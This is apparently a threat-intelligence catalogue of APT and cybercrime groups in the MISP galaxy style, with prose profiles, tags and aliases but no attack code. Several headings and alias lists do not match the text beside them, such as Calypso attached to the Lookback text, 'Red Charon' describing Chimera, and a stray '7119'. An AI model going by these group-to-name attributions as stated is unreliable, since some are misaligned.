Newly discovered supply chain attack that leveraged ASUS Live Update software. The goal of the attack was to surgically target an unknown pool of users, which were identified by their network adapters’ MAC addresses. To achieve this, the attackers had hardcoded a list of MAC addresses in the trojanized samples and this list was used to identify the actual intended targets of this massive operation. We were able to extract more than 600 unique MAC addresses from over 200 samples used in this attack. Of course, there might be other samples out there with different MAC addresses in their list.

Sea Turtle

This blog post discusses the technical details of a state-sponsored attack manipulating DNS systems. While this incident is limited to targeting primarily national security organizations in the Middle East and North Africa, and we do not want to overstate the consequences of this specific campaign, we are concerned that the success of this operation will lead to actors more broadly attacking the global DNS system. DNS is a foundational technology supporting the Internet. Manipulating that system has the potential to undermine the trust users have on the internet. That trust and the stability of the DNS system as a whole drives the global economy. Responsible nations should avoid targeting this system, work together to establish an accepted global norm that this system and the organizations that control it are off-limits, and cooperate in pursuing those actors who act irresponsibly by targeting this system.

Silent Librarian

Last Friday, Deputy Attorney General Rod Rosenstein announced the indictment of nine Iranians who worked for an organization named the Mabna Institute. According to prosecutors, the defendants stole more than 31 terabytes of data from universities, companies, and government agencies around the world. The cost to the universities alone reportedly amounted to approximately $3.4 billion. The information stolen from these universities was used by the Islamic Revolutionary Guard Corps (IRGC) or sold for profit inside Iran. PhishLabs has been tracking this same threat group since late-2017, designating them Silent Librarian. Since discovery, we have been working with the FBI, ISAC partners, and other international law enforcement agencies to help understand and mitigate these attacks.

The tag is: misp-galaxy:threat-actor="Silent Librarian"

APT31

FireEye characterizes APT31 as an actor specialized on intellectual property theft, focusing on data and projects that make a particular organization competitive in its field. Based on available data (April 2016), FireEye assesses that APT31 conducts network operations at the behest of the Chinese Government. Also according to Crowdstrke, this adversary is suspected of continuing to target upstream providers (e.g., law firms and managed service providers) to support additional intrusions against high-profile assets. In 2018, CrowdStrike observed this adversary using spear-phishing, URL “web bugs” and scheduled tasks to automate credential harvesting.

Blackgear

BLACKGEAR is an espionage campaign which has targeted users in Taiwan for many years. Multiple papers and talks have been released covering this campaign, which used the ELIRKS backdoor when it was first discovered in 2012. It is known for using blogs and microblogging services to hide the location of its actual command-and-control (C&C) servers. This allows an attacker to change the C&C server used quickly by changing the information in these posts. Like most campaigns, BLACKGEAR has evolved over time. Our research indicates that it has started
targeting Japanese users. Two things led us to this conclusion: first, the fake documents that are used as part of its infection routines are now in Japanese. Secondly, it is now using blogging sites and microblogging services based in Japan for its C&C activity.

**BlackTech**

BlackTech is a cyber espionage group operating against targets in East Asia, particularly Taiwan, and occasionally, Japan and Hong Kong. Based on the mutexes and domain names of some of their C&C servers, BlackTech’s campaigns are likely designed to steal their target’s technology. Following their activities and evolving tactics and techniques helped us uncover the proverbial red string of
fate that connected three seemingly disparate campaigns: PLEAD, Shrouded Crossbow, and of late, Waterbear. PLEAD is an information theft campaign with a penchant for confidential documents. Active since 2012, it has so far targeted Taiwanese government agencies and private organizations. PLEAD’s toolset includes the self-named PLEAD backdoor and the DRIGO exfiltration tool. PLEAD uses spear-phishing emails to deliver and install their backdoor, either as an attachment or through links to cloud storage services. Some of the cloud storage accounts used to deliver PLEAD are also used as drop off points for exfiltrated documents stolen by DRIGO. PLEAD actors use a router scanner tool to scan for vulnerable routers, after which the attackers will enable the router’s VPN feature then register a machine as virtual server. This virtual server will be used either as a C&C server or an HTTP server that delivers PLEAD malware to their targets.

FIN1

FireEye first identified this activity during a recent investigation at an organization in the financial industry. They identified the presence of a financially motivated threat group that they track as FIN1, whose activity at the organization dated back several years. The threat group deployed numerous malicious files and utilities, all of which were part of a malware ecosystem referred to as ‘Nemesis’ by the malware developer(s), and used this malware to access the victim environment and steal cardholder data. FIN1, which may be located in Russia or a Russian-speaking country based on language settings in many of their custom tools, is known for stealing data that is easily monetized from financial services organizations such as banks, credit unions, ATM operations, and financial transaction processing and financial business services companies.

FIN10

FireEye has observed multiple targeted intrusions occurring in North America — predominately in Canada — dating back to at least 2013 and continuing through at least 2016, in which the attacker(s) have compromised organizations’ networks and sought to monetize this illicit access by exfiltrating sensitive data and extorting victim organizations. In some cases, when the extortion demand was not met, the attacker(s) destroyed production Windows systems by deleting critical operating system files and then shutting down the impacted systems. Based on near parallel TTPs used by the attacker(s) across these targeted intrusions, we believe these clusters of activity are linked to a single, previously unobserved actor or group that we have dubbed FIN10.

**GhostNet**

Cyber espionage is an issue whose time has come. In this second report from the Information Warfare Monitor, we lay out the findings of a 10-month investigation of alleged Chinese cyber spying against Tibetan institutions. The investigation, consisting of fieldwork, technical scouting, and laboratory analysis, discovered a lot more. The investigation ultimately uncovered a network of over 1,295 infected hosts in 103 countries. Up to 30% of the infected hosts are considered high-value targets and include computers located at ministries of foreign affairs, embassies, international organizations, news media, and NGOs. The Tibetan computer systems we manually investigated, and from which our investigations began, were conclusively compromised by multiple infections that gave attackers unprecedented access to potentially sensitive information. Attacks on the Dalai Lama’s Private Office The OHHDL started to suspect it was under surveillance while setting up meetings between His Holiness and foreign dignitaries. They sent an email invitation on behalf of His Holiness to a foreign diplomat, but before they could follow it up with a courtesy telephone call, the diplomat’s office was contacted by the Chinese government and warned not to go ahead with the meeting. The Tibetans wondered whether a computer compromise might be the explanation; they called ONI Asia who called us. (Until May 2008, the first author was employed on a studentship funded by the OpenNet Initiative and the second author was a principal investigator for ONI.)

GozNym

IBM X-Force Research uncovered a Trojan hybrid spawned from the Nymaim and Gozi ISFB malware. It appears that the operators of Nymaim have recompiled its source code with part of the Gozi ISFB source code, creating a combination that is being actively used in attacks against more than 24 U.S. and Canadian banks, stealing millions of dollars so far. X-Force named this new hybrid GozNym. The new GozNym hybrid takes the best of both the Nymaim and Gozi ISFB malware to create a powerful Trojan. From the Nymaim malware, it leverages the dropper's stealth and persistence; the Gozi ISFB parts add the banking Trojan's capabilities to facilitate fraud via infected Internet browsers. The end result is a new banking Trojan in the wild.

Group5

A threat actor using Iranian-language tools, Iranian hosting companies, operating from the Iranian IP space at times was observed targeting the Syrian opposition in an elaborately staged malware operation, Citizen Lab researchers reveal. The operation was first noticed in late 2015, when a member of the Syrian opposition flagged a suspicious email containing a PowerPoint slideshow, which led researchers to a watering hole website with malicious programs, malicious PowerPoint files, and Android malware. The threat actor was targeting Windows and Android devices of well-connected individuals in the Syrian opposition, researchers discovered. They called the actor Group5, because it targets Syrian opposition after regime-linked malware groups, the Syrian Electronic Army, ISIS (also known as the Islamic State or ISIL), and a group linked to Lebanon did the same in the past.

Honeybee

McAfee Advanced Threat Research analysts have discovered a new operation targeting humanitarian aid organizations and using North Korean political topics as bait to lure victims into opening malicious Microsoft Word documents. Our analysts have named this Operation Honeybee, based on the names of the malicious documents used in the attacks. Advanced Threat Research analysts have also discovered malicious documents authored by the same actor that indicate a tactical shift. These documents do not contain the typical lures by this actor, instead using Word compatibility messages to entice victims into opening them. The Advanced Threat Research team also observed a heavy concentration of the implant in Vietnam from January 15–17.

Lucky Cat

A series of attacks, targeting both Indian military research and south Asian shipping organizations, demonstrate the minimum level of effort required to successfully compromise a target and steal sensitive information. The attackers use very simple malware, which required little development time or skills, in conjunction with freely available Web hosting, to implement a highly effective attack. It is a case of the attackers obtaining a maximum return on their investment. The attack shows how an intelligent attacker does not need to be particularly technically skilled in order to steal the information they are after. The attack begins, as is often the case, with an email sent to the victim. A malicious document is attached to the email, which, when loaded, activates the malware. The attackers use tailored emails to encourage the victim to open the email. For example, one email sent to an academic claimed to be a call for papers for a conference (CFP). The vast majority of the victims were based in India, with some in Malaysia. The victim industry was mostly military research and also shipping based in the Arabian and South China seas. In some instances the attackers appeared to have a clear goal, whereby specific files were retrieved from certain compromised computers. In other cases, the attackers used more of a ‘shotgun’ like approach, copying every file from a computer. Military technologies were obviously the focus of one particular attack with what appeared to be source code stolen. 45 different attacker IP addresses were observed. Out of those, 43 were within the same IP address range based in Sichuan province, China. The remaining two were based in South Korea. The pattern of attacker connections implies that the IP addresses are being used as a VPN, probably in an attempt to render the attackers anonymous. The attacks have been active from at least April 2011 up to February 2012. The attackers are intelligent and focused, employing the minimum amount of work necessary for the maximum gain. They do not use zero day exploits or complicated threats, instead they rely on
effective social engineering and lax security measures on the part of the victims.

**RTM**

There are several groups actively and profitably targeting businesses in Russia. A trend that we have seen unfold before our eyes lately is these cybercriminals’ use of simple backdoors to gain a foothold in their targets’ networks. Once they have this access, a lot of the work is done manually, slowly getting to understand the network layout and deploying custom tools the criminals can use to steal funds from these entities. Some of the groups that best exemplify these trends are Buhtrap, Cobalt and Corkow. The group discussed in this white paper is part of this new trend. We call this new group RTM; it uses custom malware, written in Delphi, that we cover in detail in later sections. The first trace of this tool in our telemetry data dates back to late 2015. The group also makes use of several different modules that they deploy where appropriate to their targets. They are interested in users of remote banking systems (RBS), mainly in Russia and neighboring countries.

**Shadow Network**

Shadows in the Cloud documents a complex ecosystem of cyber espionage that systematically compromised government, business, academic, and other computer network systems in India, the Offices of the Dalai Lama, the United Nations, and several other countries. The report also contains an analysis of data which were stolen from politically sensitive targets and recovered during the course of the investigation. These include documents from the Offices of the Dalai Lama and agencies of the Indian national security establishment. Data containing sensitive information on citizens of numerous third-party countries, as well as personal, financial, and business information, were also exfiltrated and recovered during the course of the investigation. The report analyzes the malware ecosystem employed by the Shadows’ attackers, which leveraged multiple redundant cloud computing systems, social networking platforms, and free web hosting services in order to maintain persistent control while operating core servers located in the People’s Republic of China (PRC). Although the identity and motivation of the attackers remain unknown, the report is able to determine the location (Chengdu, PRC) as well as some of the associations of the attackers through circumstantial evidence. The investigation is the product of an eight month, collaborative activity between the Information Warfare Monitor (Citizen Lab and SecDev) and the Shadowserver Foundation. The investigation employed a fusion methodology, combining technical interrogation techniques, data analysis, and field research, to track and uncover the Shadow cyber espionage network.

**Slingshot**

While analysing an incident which involved a suspected keylogger, we identified a malicious library able to interact with a virtual file system, which is usually the sign of an advanced APT actor. This turned out to be a malicious loader internally named ‘Slingshot’, part of a new, and highly sophisticated attack platform that rivals Project Sauron and Regin in complexity. While for most victims the infection vector for Slingshot remains unknown, we were able to find several cases where the attackers got access to MikroTik routers and placed a component downloaded by Winbox Loader, a management suite for MikroTik routers. In turn, this infected the administrator of the router. We believe this cluster of activity started in at least 2012 and was still active at the time of this analysis (February 2018).

Taidoor

The Taidoor attackers have been actively engaging in targeted attacks since at least March 4, 2009. Despite some exceptions, the Taidoor campaign often used Taiwanese IP addresses as C&C servers and email addresses to send out socially engineered emails with malware as attachments. One of the primary targets of the Taidoor campaign appeared to be the Taiwanese government. The attackers spoofed Taiwanese government email addresses to send out socially engineered emails in the Chinese language that typically leveraged Taiwan-themed issues. The attackers actively sent out malicious documents and maintained several IP addresses for command and control. As part of their social engineering ploy, the Taidoor attackers attach a decoy document to their emails that, when opened, displays the contents of a legitimate document but executes a malicious payload in the background. We were only able to gather a limited amount of information regarding the Taidoor attackers’ activities after they have compromised a target. We did, however, find that the Taidoor malware allowed attackers to operate an interactive shell on compromised computers and to upload and download files. In order to determine the operational capabilities of the attackers behind the Taidoor campaign, we monitored a compromised honeypot. The attackers issued out some basic commands in an attempt to map out the extent of the network compromise but quickly realized that the honeypot was not an intended targeted and so promptly disabled the Taidoor malware running on it. This indicated that while Taidoor malware were more widely distributed compared with those tied to other targeted campaigns, the attackers could quickly assess their targets and distinguish these from inadvertently compromised computers and honeypots.

[Unnamed group]

Over the last few weeks, several significant leaks regarding a number of Iranian APTs took place. After analyzing and investigating the documents we conclude that they are authentic. Consequently, this causes considerable harm to the groups and their operation. The identity of the
actor behind the leak is currently unknown, however based on the scope and the quality of the exposed documents and information, it appears that they are professional and highly capable. This leak will likely hamstring the groups' operation in the near future. Accordingly, in our assessment this will minimize the risk of potential attacks in the next few months and possibly even year. Note—most of the leaks are posted on Telegram channels that were created specifically for this purpose. Below are the three main Telegram groups on which the leaks were posted: Lab Dookhtegam pseudonym (“The people whose lips are stitched and sealed” –translation from Persian) –In this channel attack tools attributed to the group ‘OilRig’ were leaked; including a webshell that was inserted into the Technion, various tools that were used for DNS attacks, and more. Green Leakers–In this channel attack tools attributed to the group 'MuddyWatter' were leaked. The group’s name and its symbol are identified with the "green movement", which led the protests in Iran after the Presidential elections in 2009. These protests were heavily repressed by the revolutionary guards (IRGC) Black Box–Unlike the previous two channels this has been around for a long time. On Friday May 5th, dozens of confidential documents labeled as "secret" (a high confidentiality level in Iran, one before the highest -top secret) were posted on this channel. The documents were related to Iranian attack groups’ activity.

DUNGEON SPIDER

DUNGEON SPIDER is a criminal group operating the ransomware most commonly known as Locky, which has been active since February 2016 and was last observed in late 2017. Locky is a ransomware tool that encrypts files using a combination of cryptographic algorithms: RSA with a key size of 2,048 bits, and AES with a key size of 128 bits. Locky targets a large number of file extensions and is able to encrypt data on shared network drives. In an attempt to further impact victims and prevent file recovery, Locky deletes all of the Shadow Volume Copies on the machine. DUNGEON SPIDER primarily relies on broad spam campaigns with malicious attachments for distribution. Locky is the community/industry name associated with this actor.

The tag is: misp-galaxy:threat-actor="DUNGEON SPIDER"

Fxmsp

Throughout 2017 and 2018, Fxmsp established a network of trusted proxy resellers to promote their breaches on the criminal underground. Some of the known Fxmsp TTPs included accessing
network environments via externally available remote desktop protocol (RDP) servers and exposed active directory. Most recently, the actor claimed to have developed a credential-stealing botnet capable of infecting high-profile targets in order to exfiltrate sensitive usernames and passwords. Fxmsp has claimed that developing this botnet and improving its capabilities for stealing information from secured systems is their main goal.

Gnosticplayers

The hacker said that he put up the data for sale mainly because these companies had failed to protect passwords with strong encryption algorithms like bcrypt. Most of the hashed passwords the hacker put up for sale today can cracked with various levels of difficulty --but they can be cracked. "I got upset because I feel no one is learning," the hacker told ZDNet in an online chat earlier today. "I just felt upset at this particular moment, because seeing this lack of security in 2019 is making me angry." In a conversation with ZDNet last month, the hacker told us he wanted to hack and put up for sale more than one billion records and then retire and disappear with the money. But in a conversation today, the hacker says this is not his target anymore, as he learned that other hackers have already achieved the same goal before him. Gnosticplayers also revealed that not all the data he obtained from hacked companies had been put up for sale. Some companies gave into extortion demands and paid fees so breaches would remain private. "I came to an agreement with some companies, but the concerned startups won't see their data for sale," he said. "I did it that's why I can't publish the rest of my databases or even name them."

Hacking Team

The many 0-days that had been collected by Hacking Team and which became publicly available during the breach of their organization in 2015, have been used by several APT groups since. Since being founded in 2003, the Italian spyware vendor Hacking Team gained notoriety for selling surveillance tools to governments and their agencies across the world. The capabilities of its flagship product, the Remote Control System (RCS), include extracting files from a targeted device, intercepting emails and instant messaging, as well as remotely activating a device's webcam and microphone. The company has been criticized for selling these capabilities to authoritarian governments – an allegation it has consistently denied. When the tables turned in July 2015, with Hacking Team itself suffering a damaging hack, the reported use of RCS by oppressive regimes was confirmed. With 400GB of internal data – including the once-secret list of customers, internal communications, and spyware source code – leaked online, Hacking Team was forced to request its customers to suspend all use of RCS, and was left facing an uncertain future. Following the hack, the security community has been keeping a close eye on the company's efforts to get back on its feet. The first reports suggesting Hacking Team's resumed operations came six months later – a new sample of Hacking Team's Mac spyware was apparently in the wild. A year after the breach, an investment by a company named Tablem Limited brought changes to Hacking Team's shareholder structure, with Tablem Limited taking 20% of Hacking Team's shareholding. Tablem Limited is officially based in Cyprus; however, recent news suggests it has ties to Saudi Arabia.

OurMine

OurMine is known for celebrity internet accounts, often causing cyber vandalism, to advertise their commercial services. (Trend Micro) In light of the recent report detailing its willingness to pay US$250,000 in exchange for the 1.5 terabytes' worth of data swiped by hackers from its servers, HBO finds itself dealing with yet another security breach. Known for hijacking prominent social media accounts, the self-styled white hat hacking group OurMine took over a number of verified Twitter and Facebook accounts belonging to the cable network. These include accounts for HBO shows, such as “Game of Thrones,” “Girls,” and “Ballers.” This is not the first time that OurMine has claimed responsibility for hacking high-profile social networking accounts. Last year, the group victimized Marvel, The New York Times, and even the heads of some of the biggest technology companies in the world. Mark Zuckerberg, Jack Dorsey, Sundar Pichai, and Daniel Ek — the CEOs of Facebook, Twitter, Google and Spotify, respectively — have also fallen victim to the hackers, dispelling the notion that a career in software and technology exempts one from being compromised.

The tag is: misp-galaxy:threat-actor="OurMine"
Pacha Group

Antd is a miner found in the wild on September 18, 2018. Recently we discovered that the authors from Antd are actively delivering newer campaigns deploying a broad number of components, most of them completely undetected and operating within compromised third party Linux servers. Furthermore, we have observed that some of the techniques implemented by this group are unconventional, and there is an element of sophistication to them. We believe the authors behind this malware are from Chinese origin. We have labeled the undetected Linux.Antd variants, Linux.GreedyAntd and classified the threat actor as Pacha Group.

The tag is: `misp-galaxy:threat-actor="Pacha Group"`

Rocke

This threat actor initially came to our attention in April 2018, leveraging both Western and Chinese Git repositories to deliver malware to honeypot systems vulnerable to an Apache Struts vulnerability. In late July, we became aware that the same actor was engaged in another similar campaign. Through our investigation into this new campaign, we were able to uncover more details about the actor.

The tag is: `misp-galaxy:threat-actor="Rocke"`

Rocke is also known as:

- Aged Libra
[Vault 7/8]

An unnamed source leaked almost 10,000 documents describing a large number of 0-day vulnerabilities, methodologies and tools that had been collected by the CIA. This leaking was done through WikiLeaks, since March 2017. In weekly publications, the dumps were said to come from Vault 7 and later Vault 8, until his arrest in 2018. Most of the published vulnerabilities have since been fixed by the respective vendors, by many have been used by other threat actors. This actor turned out to be a former CIA software engineer. (WikiLeaks) Today, Tuesday 7 March 2017, WikiLeaks begins its new series of leaks on the U.S. Central Intelligence Agency. Code-named "Vault 7" by WikiLeaks, it is the largest ever publication of confidential documents on the agency. The first full part of the series, "Year Zero", comprises 8,761 documents and files from an isolated, high-security network situated inside the CIA's Center for Cyber Intelligence in Langley, Virgina. It follows an introductory disclosure last month of CIA targeting French political parties and candidates in the lead up to the 2012 presidential election. Recently, the CIA lost control of the majority of its hacking arsenal including malware, viruses, trojans, weaponized "zero day" exploits, malware remote control systems and associated documentation. This extraordinary collection, which amounts to more than several hundred million lines of code, gives its possessor the entire hacking capacity of the CIA. The archive appears to have been circulated among former U.S. government hackers and contractors in an unauthorized manner, one of whom has provided WikiLeaks with portions of the archive. "Year Zero" introduces the scope and direction of the CIA’s global covert hacking program, its malware arsenal and dozens of "zero day" weaponized exploits against a wide range of U.S. and European company products, include Apple's iPhone, Google's Android and Microsoft’s Windows and even Samsung TVs, which are turned into covert microphones.

ZOMBIE SPIDER

On April 7, 2017, Pytor Levashov — who predominantly used the alias Severa or Peter Severa and whom Falcon Intelligence tracks as ZOMBIE SPIDER — was arrested in an international law enforcement operation led by the FBI. ZOMBIE SPIDER’s specialty was large-scale spam distribution, a fundamental component of cybercrime operations. Levashov was the primary threat actor behind a botnet known as Kelihos and its predecessors, Waledac and Storm. In addition to Levashov’s arrest, there was a technical operation conducted by Falcon Intelligence to seize control of the Kelihos botnet.
ViceLeaker

In May 2018, we discovered a campaign targeting dozens of mobile Android devices belonging to Israeli citizens. Kaspersky spyware sensors caught the signal of an attack from the device of one of the victims; and a hash of the APK involved (Android application) was tagged in our sample feed for inspection. Once we looked into the file, we quickly found out that the inner-workings of the APK included a malicious payload, embedded in the original code of the application. This was an original spyware program, designed to exfiltrate almost all accessible information. During the course of our research, we noticed that we were not the only ones to have found the operation. Researchers from Bitdefender also released an analysis of one of the samples in a blogpost. Although something had already been published, we decided to do something different with the data we acquired. The following month, we released a private report on our Threat Intelligence Portal to alert our clients about this newly discovered operation and began writing YARA rules in order to catch more samples. We decided to call the operation “ViceLeaker”, because of strings and variables in its code.

The tag is: misp-galaxy:threat-actor="ViceLeaker"

SWEED

Cisco Talos recently identified a large number of ongoing malware distribution campaigns linked to a threat actor we’re calling “SWEED,” including such notable malware as Formbook, Lokibot and Agent Tesla. Based on our research, SWEED — which has been operating since at least 2017 — primarily targets their victims with stealers and remote access trojans. SWEED remains consistent across most of their campaigns in their use of spear-phishing emails with malicious attachments. While these campaigns have featured a myriad of different types of malicious documents, the actor primarily tries to infect its victims with a packed version of Agent Tesla — an information stealer that’s been around since at least 2014. The version of Agent Tesla that SWEED is using differs slightly from what we’ve seen in the past in the way that it is packed, as well as how it infects the system. In this post, we’ll run down each campaign we’re able to connect to SWEED, and talk about some of the actor’s tactics, techniques and procedures (TTPs).
Proofpoint researchers have identified a targeted APT campaign that utilized malicious RTF documents to deliver custom malware to unsuspecting victims. We dubbed this campaign “Operation LagTime IT” based on entities that were targeted and the distinctive domains registered to C&C IP infrastructure. Beginning in early 2019, these threat actors targeted a number of government agencies in East Asia overseeing government information technology, domestic affairs, foreign affairs, economic development, and political processes. We determined that the infection vector observed in this campaign was spear phishing, with emails originating from both free email accounts and compromised user accounts. Attackers relied on Microsoft Equation Editor exploit CVE-2018-0798 to deliver a custom malware that Proofpoint researchers have dubbed Cotx RAT. Additionally, this APT group utilizes Poison Ivy payloads that share overlapping command and control (C&C) infrastructure with the newly identified Cotx campaigns. Based on infrastructure overlaps, post-exploitation techniques, and historic TTPs utilized in this operation, Proofpoint analysts attribute this activity to the Chinese APT group tracked internally as TA428. Researchers believe that this activity has an operational and tactical resemblance to the Maudi Surveillance Operation which was previously reported in 2013.

TA428 is also known as:

TA410

Early in August 2019, Proofpoint described what appeared to be state-sponsored activity targeting the US utilities sector with malware that we dubbed “Lookback”. Between August 21 and August 29, 2019, several spear phishing emails were identified targeting additional US companies in the utilities sector. The phishing emails originated from what appears to be an actor-controlled domain: globalenergycertification[.]net. This domain, like those used in previous campaigns, impersonated a licensing body related to the utilities sector. In this case, it masqueraded as the legitimate domain for Global Energy Certification (“GEC”). The emails include a GEC examination-themed body and a malicious Microsoft Word attachment that uses macros to install and run LookBack. (Note confusion between Malware, Campaign and ThreatActor)

Calypso is also known as:

- **BRONZE MEDLEY**

**TA2101**

Proofpoint researchers detected campaigns from a relatively new actor, tracked internally as TA2101, targeting German companies and organizations to deliver and install backdoor malware. The actor initiated their campaigns impersonating the Bundeszentralamt fur Steuern, the German Federal Ministry of Finance, with lookalike domains, verbiage, and stolen branding in the emails. For their campaigns in Germany, the actor chose Cobalt Strike, a commercially licensed software tool that is generally used for penetration testing and emulates the type of backdoor framework used by Metasploit, a similar penetration testing tool. Proofpoint researchers have also observed this actor distributing Maze ransomware, employing similar social engineering techniques to those it uses for Cobalt Strike, while also targeting organizations in Italy and impersonating the Agenzia Delle Entrate, the Italian Revenue Agency. We have also recently observed the actor targeting...
organizations in the United States using the IcedID banking Trojan while impersonating the United States Postal Service (USPS).

The tag is: misp-galaxy:threat-actor="TA2101"

TA2101 is also known as:

- Maze Team

DOPPEL SPIDER

In June 2019, CrowdStrike Intelligence observed a source code fork of BitPaymer and began tracking the new ransomware strain as DoppelPaymer. Further technical analysis revealed an increasing divergence between two versions of Dridex, with the new version dubbed DoppelDridex.
Based on this evidence, CrowdStrike Intelligence assessed with high confidence that a new group split off from INDRIK SPIDER to form the adversary DOPPEL SPIDER. Following DOPPEL SPIDER's inception, CrowdStrike Intelligence observed multiple BGH incidents attributed to the group, with the largest known ransomware demand being 250 BTC. Other demands were not nearly as high, suggesting that the group conducts network reconnaissance to determine the value of the victim organization.

The tag is: `misp-galaxy:threat-actor="DOPPEL SPIDER"`

DOPPEL SPIDER is also known as:

- GOLD HERON

VENOM SPIDER

VENOM SPIDER is the developer of a large toolset that includes SKID, VenomKit and Taurus Loader. Under the moniker 'badbullzvenom', the adversary has been an active member of Russian underground forums since at least 2012, specializing in the identification of vulnerabilities and the subsequent development of tools for exploitation, as well as for gaining and maintaining access to victim machines and carding services. Recent advertisements for the malware indicate that VENOM SPIDER limits the sale and use of its tools, selling modules only to trusted affiliates. This preference can be seen in the fact that adversaries observed using the tools include the targeted criminal adversary COBALT SPIDER and BGH adversaries WIZARD SPIDER and PINCHY SPIDER.

The tag is: *misp-galaxy:threat-actor="VENOM SPIDER"*

VENOM SPIDER is also known as:

Operation Shadow Force

Operation Shadow Force is a group of malware that is representative of Shadow Force and Wgdrop from 2013 to 2020, and is a group activity that attacks Korean companies and organizations. The group’s first confirmed attack was in March 2013, but considering the date of malware creation, it is likely to have been active before 2012. Since the malware used mainly by them is Shadow Force, it was named Operation Shadow Force, and it has not been confirmed whether the attacker is associated with a known group.

**Nazar**

This actor was identified by Juan Andres Guerrero-Saade from the SIG37 cluster as published in the ShadowBrokers' 'Lost in Translation' leak. Earliest known sighting potentially dates back to as far as 2008 with a confirmed center of activity around 2010-2013. The actor name is derived from a PDB debug string fragment: 'khzer'. Victimology indicates targeting of Iran, assessed with low confidence based on VT file submission locations. Nazar employs a modular toolkit where a main dropper silently registers multiple DLLs as OLE controls in the Windows registry. Functionality includes keylogging, sound and screen grabbing, as well as traffic capture using the MicroOlap Packet Sniffer library.

The tag is: `misp-galaxy:threat-actor="Nazar"`

Nazar is also known as:

- SIG37

---

7119
The organization often uses important North Korean time nodes such as holidays and North Korea to conduct fishing activities. The bait includes New Year blessings, Lantern blessings, North Korean celebrations, and important news, overseas personnel contact lists and so on. In addition, the attack organization also has the attack capability of the mobile terminal. The targets of the attack also include diplomatic entities related to North Korea (such as embassy officials in various places), government officials, human rights organizations, North Korean residents abroad, and traders. The victim countries currently monitored include China, North Korea, Japan, Nepal, Singapore, Russia, Poland, Switzerland, etc.

The tag is: misp-galaxy:threat-actor="Higaisa"

COBALT JUNO has operated since at least 2013 and focused on targets located in the Middle East including Iran, Jordan, Egypt & Lebanon. COBALT JUNO custom spyware families SABER1 and SABER2, include surveillance functionality and masquerade as legitimate software utilities such as Adobe Updater, StickyNote and ASKDownloader. CTU researchers assess with moderate confidence that COBALT JUNO operated the ZooPark Android spyware since at least mid-2015. ZooPark was publicly exposed in 2018 in both vendor reporting and a high profile leak of C2 server data. COBALT JUNO is linked to a private security company in Iran and outsources aspects of tool development work to commercial software developers. CTU researchers have observed the group using strategic web compromises to deliver malware. CTU researchers’ discovery of new C2 domains in 2019 suggest the group is still actively performing operations.

The tag is: misp-galaxy:threat-actor="COBALT JUNO"

COBALT JUNO is also known as:

- APT-C-38 (QiAnXin)
- SABER LION
- TG-2884 (SCWX CTU)
COBALT KATANA

COBALT KATANA has been active since at least March 2018, and it focuses many of its operations on organizations based in or associated with Kuwait. The group has targeted government, logistics, and shipping organizations. The threat actors gain initial access to targets using DNS hijacking, strategic web compromise with SMB forced authentication, and password brute force attacks. COBALT KATANA operates a custom platform referred to as the Sakabota Framework, also referred to as Sakabota Core, with a complimentary set of modular backdoors and accessory tools including Gon, Hisoka, Hisoka Netero, Killua, Diezen, and Eye. The group has implemented DNS tunnelling in its malware and malicious scripts and also operates the HyphenShell web shell to strengthen post-intrusion access. CTU researchers assess with moderate confidence that COBALT KATANA operates on behalf of Iran, and elements of its operations such as overlapping infrastructure, use of DNS hijacking, implementation of DNS-based C2 channels in malware and web shell security mechanisms suggest connections to COBALT GYPSY and COBALT EDGEWATER.

The tag is: `misp-galaxy:threat-actor="COBALT KATANA"`

COBALT KATANA is also known as:

FIN11

FIN11 is a well-established financial crime group that has recently focused its operations on ransomware and extortion. The group has been active since 2017 and has been tracked under UNC902 and later on as TEMP.Warlok. In some ways, FIN11 is reminiscent of APT1; they are notable not for their sophistication, but for their sheer volume of activity.(FireEye) Mandiant has also responded to numerous FIN11 intrusions, but we’ve only observed the group successfully monetize access in few instances. This could suggest that the actors cast a wide net during their phishing operations, then choose which victims to further exploit based on characteristics such as sector, geolocation or perceived security posture. Recently, FIN11 has deployed CLOP ransomware and threatened to publish exfiltrated data to pressure victims into paying ransom demands. The group's shifting monetization methods—from point-of-sale (POS) malware in 2018, to ransomware in 2019, and hybrid extortion in 2020—is part of a larger trend in which criminal actors have increasingly focused on post-compromise ransomware deployment and data theft extortion. Notably, FIN11 includes a subset of the activity security researchers call TA505, Graceful Spider, Gold Evergreen, but we do not attribute TA505's early operations to FIN11 and caution against using the names interchangeably. Attribution of both historic TA505 activity and more recent FIN11 activity is complicated by the actors’ use of criminal service providers. Like most financially motivated actors, FIN11 doesn’t operate in a vacuum. We believe that the group has used services that provide anonymous domain registration, bulletproof hosting, code signing certificates, and private or semi-private malware. Outsourcing work to these criminal service providers likely enables FIN11 to increase the scale and sophistication of their operations.

The tag is: `misp-galaxy:threat-actor="FIN11"`

FIN11 is also known as:

- TEMP.Warlok
- UNC902
FIN11 has relationships with:

- similar: `misp-galaxy:microsoft-activity-group=Lace Tempest` with `estimative-language:likelihood-probability=likely`

**UNC1878**

UNC1878 is a financially motivated threat actor that monetizes network access via the deployment of RYUK ransomware. Earlier this year, Mandiant published a blog on a fast-moving adversary deploying RYUK ransomware, UNC1878. Shortly after its release, there was a significant decrease in observed UNC1878 intrusions and RYUK activity overall almost completely vanishing over the summer. But beginning in early fall, Mandiant has seen a resurgence of RYUK along with TTP overlaps indicating that UNC1878 has returned from the grave and resumed their operations.

The tag is: `misp-galaxy:threat-actor="UNC1878"`

**Red Charon**

Throughout 2019, multiple companies in the Taiwan high-tech ecosystem were victims of an advanced persistent threat (APT) attack. Due to these APT attacks having similar behavior profiles (similar adversarial techniques, tactics, and procedures or TTP) with each other and previously documented cyberattacks, CyCraft assess with high confidence these new attacks were conducted by the same foreign threat actor. During their investigation, they dubbed this threat actor Chimera. “Chimera” stands for the synthesis of hacker tools that they've seen the group use, such as the skeleton key malware that contained code extracted from both Dumpert and Mimikatz — hence
Chimera. Their operation — the entirety of the new attacks utilizing the Skeleton Key attack (described below) from late 2018 to late 2019, CyCraft have dubbed Operation Skeleton Key.

TeamTNT

In early February, 2021 TeamTNT launched a new campaign against Docker and Kubernetes environments. Using a collection of container images that are hosted in Docker Hub, the attackers are targeting misconfigured docker daemons, Kubeflow dashboards, and Weave Scope, exploiting these environments in order to steal cloud credentials, open backdoors, mine cryptocurrency, and launch a worm that is looking for the next victim. They're linked to the First Crypto-Mining Worm to Steal AWS Credentials and Hildegard Cryptojacking malware. TeamTNT is a relatively recent addition to a growing number of threats targeting the cloud. While they employ some of the same tactics as similar groups, TeamTNT stands out with their social media presence and penchant for self-promotion. Tweets from the TeamTNT's account are in both English and German although it is unknown if they are located in Germany.
